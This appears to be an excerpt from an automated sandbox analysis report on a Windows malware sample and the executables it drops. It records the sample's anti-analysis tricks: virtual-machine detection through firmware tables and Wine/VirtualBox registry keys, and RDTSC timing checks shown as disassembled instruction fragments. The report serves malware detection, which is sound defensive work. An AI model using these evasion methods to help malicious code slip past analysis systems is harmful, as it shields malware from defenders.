Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4C52 second address: CD4C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4C5F second address: CD4C67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4C67 second address: CD4C84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB698BF2C4Fh 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007FB698BF2C46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCED8C second address: CCED93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD3D24 second address: CD3D2A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD3D2A second address: CD3D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD3FD4 second address: CD3FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD3FD8 second address: CD3FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jng 00007FB698CE01E6h 0x0000000f jp 00007FB698CE01E6h 0x00000015 jmp 00007FB698CE01ECh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4161 second address: CD4167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4167 second address: CD417D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB698CE01F0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD417D second address: CD4195 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB698BF2C46h 0x00000008 jp 00007FB698BF2C46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jc 00007FB698BF2C4Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD42E8 second address: CD42EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD601D second address: CD602D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698BF2C4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD602D second address: CD6031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6031 second address: CD6053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB698BF2C55h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6053 second address: CD6059 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6059 second address: CD605F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD605F second address: CD6063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6063 second address: CD608F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jnc 00007FB698BF2C4Ch 0x0000000f push 00000000h 0x00000011 sub dword ptr [ebp+122D2A71h], ebx 0x00000017 call 00007FB698BF2C49h 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pushad 0x00000020 popad 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD608F second address: CD60AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD60AD second address: CD60B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD60B1 second address: CD60C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD60C3 second address: CD60C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD60C7 second address: CD6105 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jns 00007FB698CE01FFh 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 jne 00007FB698CE01ECh 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6105 second address: CD6115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6115 second address: CD61C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB698CE01F7h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov dword ptr [ebp+122D35C4h], eax 0x00000012 push 00000003h 0x00000014 mov edx, 386EBC9Eh 0x00000019 push 00000000h 0x0000001b sub edx, dword ptr [ebp+122D38BDh] 0x00000021 push 00000003h 0x00000023 add dword ptr [ebp+122D34B2h], ecx 0x00000029 push 6C9AED7Bh 0x0000002e push edx 0x0000002f jmp 00007FB698CE01F7h 0x00000034 pop edx 0x00000035 add dword ptr [esp], 53651285h 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007FB698CE01E8h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 00000019h 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 lea ebx, dword ptr [ebp+1244AD18h] 0x0000005c mov dword ptr [ebp+122D1C05h], ecx 0x00000062 add dword ptr [ebp+122D34B2h], edx 0x00000068 xchg eax, ebx 0x00000069 push ecx 0x0000006a pushad 0x0000006b jp 00007FB698CE01E6h 0x00000071 push ebx 0x00000072 pop ebx 0x00000073 popad 0x00000074 pop ecx 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 push eax 0x00000079 push edx 0x0000007a jno 00007FB698CE01E6h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD61C0 second address: CD61D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6275 second address: CD6289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6289 second address: CD62CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 4CCFBBF8h 0x0000000e mov dh, 2Dh 0x00000010 push 00000003h 0x00000012 mov dword ptr [ebp+122D358Ah], ebx 0x00000018 mov esi, dword ptr [ebp+122D36F1h] 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D2B91h], ecx 0x00000026 push 00000003h 0x00000028 sub ecx, dword ptr [ebp+122D3679h] 0x0000002e push 85C35E89h 0x00000033 push eax 0x00000034 push edx 0x00000035 js 00007FB698BF2C4Ch 0x0000003b jnc 00007FB698BF2C46h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD62CA second address: CD6319 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 3A3CA177h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FB698CE01E8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 jmp 00007FB698CE01EAh 0x0000002e lea ebx, dword ptr [ebp+1244AD23h] 0x00000034 mov esi, dword ptr [ebp+122D37FDh] 0x0000003a push eax 0x0000003b cld 0x0000003c pop ecx 0x0000003d xchg eax, ebx 0x0000003e pushad 0x0000003f jl 00007FB698CE01ECh 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD6319 second address: CD6320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE8053 second address: CE806C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF71C3 second address: CF71CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB698BF2C46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF71CF second address: CF71D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF71D3 second address: CF7202 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FB698BF2C51h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007FB698BF2C55h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9C8C second address: CC9C91 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9C91 second address: CC9C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9C97 second address: CC9CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9CA3 second address: CC9CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9CA9 second address: CC9CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698CE01ECh 0x00000009 jmp 00007FB698CE01F8h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF52D6 second address: CF52E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FB698BF2C4Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF52E3 second address: CF52FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 je 00007FB698CE01E6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FB698CE01E6h 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF545D second address: CF5463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5463 second address: CF5467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5467 second address: CF5476 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jc 00007FB698BF2C46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5476 second address: CF547C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF547C second address: CF5483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF59DD second address: CF59E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5B65 second address: CF5B6F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB698BF2C46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5B6F second address: CF5B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5B7A second address: CF5B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5CC9 second address: CF5CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5F73 second address: CF5FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 jmp 00007FB698BF2C54h 0x0000000b pop esi 0x0000000c js 00007FB698BF2C63h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB698BF2C4Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5FC0 second address: CF5FDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 ja 00007FB698CE01E6h 0x0000000f jmp 00007FB698CE01EDh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5FDE second address: CF5FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5FE7 second address: CF5FEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF6172 second address: CF617E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF617E second address: CF6182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEE183 second address: CEE19B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007FB698BF2C46h 0x00000009 pop ecx 0x0000000a js 00007FB698BF2C52h 0x00000010 jc 00007FB698BF2C46h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCB841 second address: CCB862 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB698CE01E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB698CE01F4h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF6325 second address: CF632E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF632E second address: CF634A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB698CE01F5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF6D60 second address: CF6D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF6D66 second address: CF6D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF6D6A second address: CF6D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFAE70 second address: CFAE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFAE77 second address: CFAE81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB698BF2C46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFB45B second address: CFB461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFA37F second address: CFA396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFA396 second address: CFA39C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFA39C second address: CFA3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFB687 second address: CFB69D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
